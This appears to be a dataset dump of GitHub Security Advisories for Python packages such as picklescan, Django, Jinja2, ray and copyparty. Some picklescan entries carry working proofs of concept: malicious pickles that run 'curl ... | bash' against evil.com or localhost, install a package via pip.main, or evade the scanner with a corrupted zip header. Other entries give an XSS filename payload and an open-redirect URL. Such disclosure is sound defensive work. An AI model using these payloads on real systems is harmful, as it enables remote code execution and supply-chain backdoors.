deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-7q5r-7gvp-wc82
Package: picklescan (PIP)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-345: Insufficient Verification of Data Authenticity
Vulnerable versions: < 0.0.23
Patched in: 0.0.23

Summary: Zip Exploit Crashes Picklescan But Not PyTorch 

Details:
### Summary

PickleScan is vulnerable to a ZIP archive manipulation attack that causes it to crash when attempting to extract and scan PyTorch model archives. By modifying the filename in the ZIP header while keeping the original filename in the directory listing, an attacker can make PickleScan raise a BadZipFile error. However, PyTorch's more forgiving ZIP implementation still allows the model to be loaded, enabling malicious payloads to bypass detection.

### Details

Python's built-in zipfile module performs strict integrity checks when extracting ZIP files. If a filename stored in the ZIP header does not match the filename in the directory listing, zipfile.ZipFile.open() raises a BadZipFile error. PickleScan relies on zipfile to extract and inspect the contents of PyTorch model archives, making it susceptible to this manipulation.

PyTorch, on the other hand, has a more tolerant ZIP handling mechanism that ignores these discrepancies, allowing the model to load even when PickleScan fails. An attacker can exploit this behavior to embed a malicious pickle file inside a model archive, which PyTorch will load, while preventing PickleScan from scanning the archive.

### PoC
```
import os
import torch

class RemoteCodeExecution:
    def __reduce__(self):
        return os.system, (f"eval \"$(curl -s http://localhost:8080)\"",)


model = RemoteCodeExecution()
file = "does_not_scan_but_opens_in_torch.pth"
torch.save(model, file)

# modify the header to cause the zip file to raise execution in picklescan
with open(file, "rb") as f:
    data = f.read()

# Replace only the first occurrence of "data.pkl" with "datap.kl"
modified_data = data.replace(b"data.pkl", b"datap.kl", 1)

# Write back the modified content
with open(file, "wb") as f:
    f.write(modified_data)

# Load the infected model
torch.load(file)  
```

### Impact

Severity: `High`

- Who is impacted? Any organization or individual using PickleScan to detect malicious pickle files in PyTorch models.

- What is the impact? Attackers can embed malicious payloads inside PyTorch model archives while preventing PickleScan from scanning them.

- Potential Exploits: This technique can be used in supply chain attacks to distribute backdoored models via platforms like Hugging Face.

### Recommendations

- Use a More Tolerant ZIP Parser: PickleScan should handle minor ZIP header inconsistencies more gracefully instead of failing outright.

- Detect Malformed ZIPs: Instead of crashing, PickleScan should log warnings and attempt to extract valid files.
GitHub Security Advisory: GHSA-2fh4-gpch-vqv4
Package: picklescan (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-345: Insufficient Verification of Data Authenticity
Vulnerable versions: < 0.0.23
Patched in: 0.0.23

Summary: Duplicate Advisory: Zip Flag Bit Exploit Crashes Picklescan But Not PyTorch

Details:
## Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-w8jq-xcqf-f792. This link is maintained to preserve external references.

## Original Description
picklescan before 0.0.23 fails to detect malicious pickle files inside PyTorch model archives when certain ZIP file flag bits are modified. By flipping specific bits in the ZIP file headers, an attacker can embed malicious pickle files that remain undetected by PickleScan while still being successfully loaded by PyTorch's torch.load(). This can lead to arbitrary code execution when loading a compromised model.
GitHub Security Advisory: GHSA-w6mr-mj53-x258
Package: picklescan (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-345: Insufficient Verification of Data Authenticity
Vulnerable versions: < 0.0.23
Patched in: 0.0.23

Summary: Duplicate Advisory: Zip Exploit Crashes Picklescan But Not PyTorch 

Details:
## Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-7q5r-7gvp-wc82. This link is maintained to preserve external references.

## Original Description
picklescan before 0.0.23 is vulnerable to a ZIP archive manipulation attack that causes it to crash when attempting to extract and scan PyTorch model archives. By modifying the filename in the ZIP header while keeping the original filename in the directory listing, an attacker can make PickleScan raise a BadZipFile error. However, PyTorch's more forgiving ZIP implementation still allows the model to be loaded, enabling malicious payloads to bypass detection.
GitHub Security Advisory: GHSA-p3fp-8748-vqfq
Package: Django (PIP)
Severity: MODERATE (CVSS 5.0)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: >= 5.1, < 5.1.7
Patched in: 5.1.7

Summary: Django vulnerable to Allocation of Resources Without Limits or Throttling

Details:
An issue was discovered in Django 5.1 before 5.1.7, 5.0 before 5.0.13, and 4.2 before 4.2.20. The django.utils.text.wrap() method and wordwrap template filter are subject to a potential denial-of-service attack when used with very long strings.
GitHub Security Advisory: GHSA-p3fp-8748-vqfq
Package: Django (PIP)
Severity: MODERATE (CVSS 5.0)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: >= 5.0, < 5.0.13
Patched in: 5.0.13

Summary: Django vulnerable to Allocation of Resources Without Limits or Throttling

Details:
An issue was discovered in Django 5.1 before 5.1.7, 5.0 before 5.0.13, and 4.2 before 4.2.20. The django.utils.text.wrap() method and wordwrap template filter are subject to a potential denial-of-service attack when used with very long strings.
GitHub Security Advisory: GHSA-p3fp-8748-vqfq
Package: Django (PIP)
Severity: MODERATE (CVSS 5.0)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: >= 4.2, < 4.2.20
Patched in: 4.2.20

Summary: Django vulnerable to Allocation of Resources Without Limits or Throttling

Details:
An issue was discovered in Django 5.1 before 5.1.7, 5.0 before 5.0.13, and 4.2 before 4.2.20. The django.utils.text.wrap() method and wordwrap template filter are subject to a potential denial-of-service attack when used with very long strings.
GitHub Security Advisory: GHSA-w4rh-fgx7-q63m
Package: ray (PIP)
Severity: MODERATE (CVSS 6.4)
CWE: CWE-532: Insertion of Sensitive Information into Log File
Vulnerable versions: < 2.43.0
Patched in: 2.43.0

Summary: ray vulnerable to Insertion of Sensitive Information into Log File

Details:
Versions of the package ray before 2.43.0 are vulnerable to Insertion of Sensitive Information into Log File where the redis password is being logged in the standard logging. If the redis password is passed as an argument, it will be logged and could potentially leak the password.

This is only exploitable if:

1) Logging is enabled;

2) Redis is using password authentication;

3) Those logs are accessible to an attacker, who can reach that redis instance.

**Note:**

It is recommended that anyone who is running in this configuration should update to the latest version of Ray, then rotate their redis password.
GitHub Security Advisory: GHSA-655q-fx9r-782v
Package: picklescan (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-184: Incomplete List of Disallowed Inputs
Vulnerable versions: <= 0.0.21
Patched in: 0.0.22

Summary: Picklescan Allows Remote Code Execution via Malicious Pickle File Bypassing Static Analysis

Details:
### CVE-2025-1716

### Summary
An unsafe deserialization vulnerability in Python’s pickle module allows an attacker to bypass static analysis tools like Picklescan and execute arbitrary code during deserialization. This can be exploited to run pip install and fetch a malicious package, enabling remote code execution (RCE) upon package installation.

### Details
Pickle’s deserialization process allows execution of arbitrary functions via the __reduce__ method. While Picklescan is designed to detect such exploits, this attack evades detection by leveraging pip.main() as the callable function. Since pip is a legitimate package operation, it may not raise red flags in security scans.

The payload executes the following steps:

1. During unpickling, it calls pip.main() to install a malicious PyPI package.
2. The installed package runs arbitrary code via setup.py, entry_points, or post-install hooks.
3. Execution is silent, with minimal logging to avoid detection.

### PoC

Step 1: Create the Malicious Package
Host a PyPI package with a malicious setup.py or entry_point.

Example malicious `setup.py`
```
from setuptools import setup
import os

os.system("curl -s https://evil.com/payload.sh | bash")  # Executes remote shell script

setup(
    name="rsac-demo-package",
    version="0.1",
    packages=["rsac_demo"],
    install_requires=[],
)
```
Upload it to PyPI or host on GitHub.

Step 2: Exploit via Pickle
```
import pickle
import pip

class Exploit:
    def __reduce__(self):
        return pip.main, (
            ['install', 'git+https://github.com/madgetr/rsac-demo-package', '--no-input', '-q', '-q', '-q',
             '--exists-action', 'i', '--isolated'],
        )

malicious_pickle = pickle.dumps(Exploit())

# Simulating deserialization attack
pickle.loads(malicious_pickle)
```
This installs a malicious package from GitHub or PyPI.
The payload runs automatically when unpickled, executing any code inside the installed package leveraging the `setup.py` file.


### Impact
Remote Code Execution (RCE): Any system that deserializes a malicious pickle is compromised.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
Bypasses Picklescan: Security tools may not flag pip.main(), making it harder to detect.

### Recommended Fixes
Add  `"pip": "*"` to the list of [unsafe globals](https://github.com/mmaitre314/picklescan/blob/25d753f4b9a27ce141a43df3bf88d731800593d9/src/picklescan/scanner.py#L96)
GitHub Security Advisory: GHSA-793v-gxfp-9q9h
Package: spacy-llm (PIP)
Severity: HIGH (CVSS 9.8)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection'), CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine
Vulnerable versions: <= 0.7.2
Patched in: 0.7.3

Summary: Spacy-LLM Server-Side Template Injection (SSTI) vulnerability

Details:
A Server-Side Template Injection (SSTI) vulnerability in Spacy-LLM v0.7.2 allows attackers to execute arbitrary code via injecting a crafted payload into the template field.
GitHub Security Advisory: GHSA-cpwx-vrp4-4pq7
Package: Jinja2 (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine
Vulnerable versions: <= 3.1.5
Patched in: 3.1.6

Summary: Jinja2 vulnerable to sandbox breakout through attr filter selecting format method

Details:
An oversight in how the Jinja sandboxed environment interacts with the `|attr` filter allows an attacker that controls the content of a template to execute arbitrary Python code.

To exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates.

Jinja's sandbox does catch calls to `str.format` and ensures they don't escape the sandbox. However, it's possible to use the `|attr` filter to get a reference to a string's plain format method, bypassing the sandbox. After the fix, the `|attr` filter no longer bypasses the environment's attribute lookup.
GitHub Security Advisory: GHSA-3x5x-fw77-g54c
Package: dgl (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-502: Deserialization of Untrusted Data
Vulnerable versions: <= 2.4.0
Patched in: unpatched

Summary: dmlc/dgl Vulnerable to Remote Code Execution by Pickle Deserialization via rpc.recv_request()

Details:
### Impact
Dgl implements rpc server (start_server() in rpc_server.py) for supporting the RPC communications among different remote users over networks. It relies on pickle serialize and deserialize to pack and unpack network messages. The is a known risk in pickle deserialization functionality that can be used for remote code execution.

### Patches
TBD.

### Workarounds
When running DGL distributed training and inference (DistDGL) make sure you do not assign public IPs to any instance in the cluster.

### References
Issue #7874

### Reported by
Pinji Chen ([cpj24@mails.tsinghua.edu.cn](mailto:cpj24@mails.tsinghua.edu.cn)) from NISL lab (https://netsec.ccert.edu.cn/about) at Tsinghua University
GitHub Security Advisory: GHSA-hw34-rqc5-h2gm
Package: picklescan (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-646: Reliance on File Name or Extension of Externally-Supplied File, CWE-807: Reliance on Untrusted Inputs in a Security Decision
Vulnerable versions: <= 0.0.21
Patched in: unpatched

Summary: Duplicate Advisory: Picklescan Allows Remote Code Execution via Malicious Pickle File Bypassing Static Analysis

Details:
## Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-769v-p64c-89pr. This link is maintained to preserve external references.

## Original Description
picklescan before 0.0.22 only considers standard pickle file extensions in the scope for its vulnerability scan. An attacker could craft a malicious model that uses Pickle include a malicious pickle file with a non-standard file extension. Because the malicious pickle file inclusion is not considered as part of the scope of picklescan, the file would pass security checks and appear to be safe, when it could instead prove to be problematic.
GitHub Security Advisory: GHSA-vr75-hjh9-7fr6
Package: picklescan (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-184: Incomplete List of Disallowed Inputs
Vulnerable versions: <= 0.0.21
Patched in: unpatched

Summary: Duplicate Advisory: Remote Code Execution via Malicious Pickle File Bypassing Static Analysis

Details:
## Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-655q-fx9r-782v. This link is maintained to preserve external references.

## Original Description
picklescan before 0.0.21 does not treat 'pip' as an unsafe global. An attacker could craft a malicious model that uses Pickle to pull in a malicious PyPI package (hosted, for example, on pypi.org or GitHub) via `pip.main()`. Because pip is not a restricted global, the model, when scanned with picklescan, would pass security checks and appear to be safe, when it could instead prove to be problematic.
GitHub Security Advisory: GHSA-g839-x3p3-g5fm
Package: codechecker (PIP)
Severity: MODERATE (CVSS 6.1)
CWE: CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
Vulnerable versions: <= 6.24.5
Patched in: 6.24.6

Summary: CodeChecker open redirect when URL contains multiple slashes after the product name

Details:
Summary
---

CodeChecker versions up to 6.24.5 contain an open redirect vulnerability due to missing protections against multiple slashes after the product name in the URL's path segment.  This results in bypassing protections against CVE-2021-28861, leading to the same open redirect pathway.

Details
---

CodeChecker processes GET requests by first rewriting the path segment of the URL, and then passing the rewritten URL to the webserver framework.
When trimming the product name from the URL, no sanitization was performed on the remaining URL, which reintroduced the same issue as CVE-2021-28861, leading to the same open redirect pathway using URLs such as `/Default//attacker.com/%2f..`.

Impact
---

The vulnerability allows an attacker to create a hyperlink that looks like a legitimate CodeChecker URL, but redirects to an attacker-supplied website when clicked.
GitHub Security Advisory: GHSA-p8q5-cvwx-wvwp
Package: flask-appbuilder (PIP)
Severity: LOW (CVSS 3.7)
CWE: CWE-204: Observable Response Discrepancy
Vulnerable versions: < 4.5.3
Patched in: 4.5.3

Summary: Flask-AppBuilder Observable Response Discrepancy

Details:
### Impact
User enumeration in database authentication in Flask-AppBuilder <= 4.5.3 and werkzeug >= 3.0.0. Allows for a non authenticated user to enumerate existing usernames by timing the response time from the server when brute forcing requests to login.

### Patches

Upgrade to flask-appbuilder>=4.5.3

### Workarounds
Downgrade werkzeug to <3.0.0

### References
_Are there any links users can visit to find out more?_
GitHub Security Advisory: GHSA-m2jw-cj8v-937r
Package: copyparty (PIP)
Severity: LOW (CVSS 3.6)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), CWE-83: Improper Neutralization of Script in Attributes in a Web Page
Vulnerable versions: < 1.16.15
Patched in: 1.16.15

Summary: copyparty renders unsanitized filenames as HTML when user uploads empty files

Details:
## Summary

A [DOM-Based XSS](https://capec.mitre.org/data/definitions/588.html) was discovered in [copyparty](https://github.com/9001/copyparty), a portable fileserver. The vulnerability is considered low-risk.

## Details

By handing someone a maliciously-named file, and then tricking them into dragging the file into copyparty's Web-UI, an attacker could execute arbitrary javascript with the same privileges as that user. For example, this could give unintended read-access to files owned by that user. The bug is triggered by the drag-drop action itself; it is not necessary to actually initiate the upload. The file must be empty (zero bytes).

Note: As a general-purpose webserver, it is intentionally possible to upload HTML-files with arbitrary javascript in `<script>` tags, which will execute when the file is opened. The difference is that this vulnerability would trigger execution of javascript during the act of uploading, and not when the uploaded file was opened.

## Proof of Concept (POC)

1. Create an empty file named `<img src=x onerror="alert(1)">`
2. Drag-and-drop the file into the browser to initiate an upload
3. The `alert(1)` is executed
GitHub Security Advisory: GHSA-mcgx-2gcr-p3hp
Package: jupyterhub-ltiauthenticator (PIP)
Severity: CRITICAL (CVSS 10.0)
CWE: CWE-347: Improper Verification of Cryptographic Signature
Vulnerable versions: = 1.3.0
Patched in: 1.4.0

Summary: LTI JupyterHub Authenticator does not properly validate JWT Signature

Details:
### Impact

Only users that has configured a JupyterHub installation to use the authenticator class `LTI13Authenticator` are influenced.

LTI13Authenticator that was introduced in `jupyterhub-ltiauthenticator` 1.3.0 wasn't validating JWT signatures. This is believed to allow the LTI13Authenticator to authorize a forged request granting access to existing and new user identities.

### Patches

None.

### Workarounds

None.

### References

- [This code segment](https://github.com/jupyterhub/ltiauthenticator/blob/3feec2e81b9d3b0ad6b58ab4226af640833039f3/ltiauthenticator/lti13/validator.py#L122-L164) didn't validate a JWT signature.
GitHub Security Advisory: GHSA-jpxc-vmjf-9fcj
Package: ansible-core (PIP)
Severity: HIGH (CVSS 5.5)
CWE: CWE-532: Insertion of Sensitive Information into Log File
Vulnerable versions: < 2.16.13
Patched in: 2.16.13

Summary: Ansible vulnerable to Insertion of Sensitive Information into Log File

Details:
A flaw was found in Ansible, where sensitive information stored in Ansible Vault files can be exposed in plaintext during the execution of a playbook. This occurs when using tasks such as include_vars to load vaulted variables without setting the no_log: true parameter, resulting in sensitive data being printed in the playbook output or logs. This can lead to the unintentional disclosure of secrets like passwords or API keys, compromising security and potentially allowing unauthorized access or actions.
GitHub Security Advisory: GHSA-jpxc-vmjf-9fcj
Package: ansible-core (PIP)
Severity: HIGH (CVSS 5.5)
CWE: CWE-532: Insertion of Sensitive Information into Log File
Vulnerable versions: >= 2.17.0b1, < 2.17.6
Patched in: 2.17.6

Summary: Ansible vulnerable to Insertion of Sensitive Information into Log File

Details:
A flaw was found in Ansible, where sensitive information stored in Ansible Vault files can be exposed in plaintext during the execution of a playbook. This occurs when using tasks such as include_vars to load vaulted variables without setting the no_log: true parameter, resulting in sensitive data being printed in the playbook output or logs. This can lead to the unintentional disclosure of secrets like passwords or API keys, compromising security and potentially allowing unauthorized access or actions.
GitHub Security Advisory: GHSA-38h4-fx85-qcx7
Package: Exiv2 (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-416: Use After Free
Vulnerable versions: >= 0.28.0, < 0.28.5
Patched in: 0.28.5

Summary: Exiv2 allows Use After Free

Details:
### Impact
A heap buffer overflow was found in Exiv2 versions v0.28.0 to v0.28.4. Versions prior to v0.28.0, such as v0.27.7, are **not** affected. Exiv2 is a command-line utility and C++ library for reading, writing, deleting, and modifying the metadata of image files. The heap overflow is triggered when Exiv2 is used to write metadata into a crafted image file. An attacker could potentially exploit the vulnerability to gain code execution, if they can trick the victim into running Exiv2 on a crafted image file.

Note that this bug is only triggered when writing the metadata, which is a less frequently used Exiv2 operation than reading the metadata. For example, to trigger the bug in the Exiv2 command-line application, you need to add an extra command-line argument such as `fixiso`.

### Patches
The bug is fixed in version v0.28.5.

### References
Issue: https://github.com/Exiv2/exiv2/issues/3168
Fix: https://github.com/Exiv2/exiv2/pull/3174

### For more information
Please see our [security policy](https://github.com/Exiv2/exiv2/security/policy) for information about Exiv2 security.
GitHub Security Advisory: GHSA-4w26-8p97-f4jp
Package: vyper (PIP)
Severity: LOW (CVSS 0.0)
CWE: CWE-787: Out-of-bounds Write
Vulnerable versions: <= 0.4.0
Patched in: 0.4.1

Summary: AugAssign evaluation order causing OOB write within the object in Vyper

Details:
Vyper handles AugAssign statements by first caching the target location to avoid double evaluation. However, in the case when target is an access to a DynArray and the rhs modifies the array, the cached target will evaluate first, and the bounds check will not be re-evaluated during the write portion of the statement. In other words, the following code

```vyper
def poc():
    a: DynArray[uint256, 2] = [1, 2]
    a[1] += a.pop()
```

is equivalent to:
```vyper
def poc():
    a: DynArray[uint256, 2] = [1, 2]
    a[1] += a[len(a) - 1]
    a.pop()
```
rather than:
```vyper
def poc():
    a: DynArray[uint256, 2] = [1, 2]
    s: uint256 = a[1]
    t: uint256 = a.pop()
    a[1] = s + t  # reverts due to oob access
```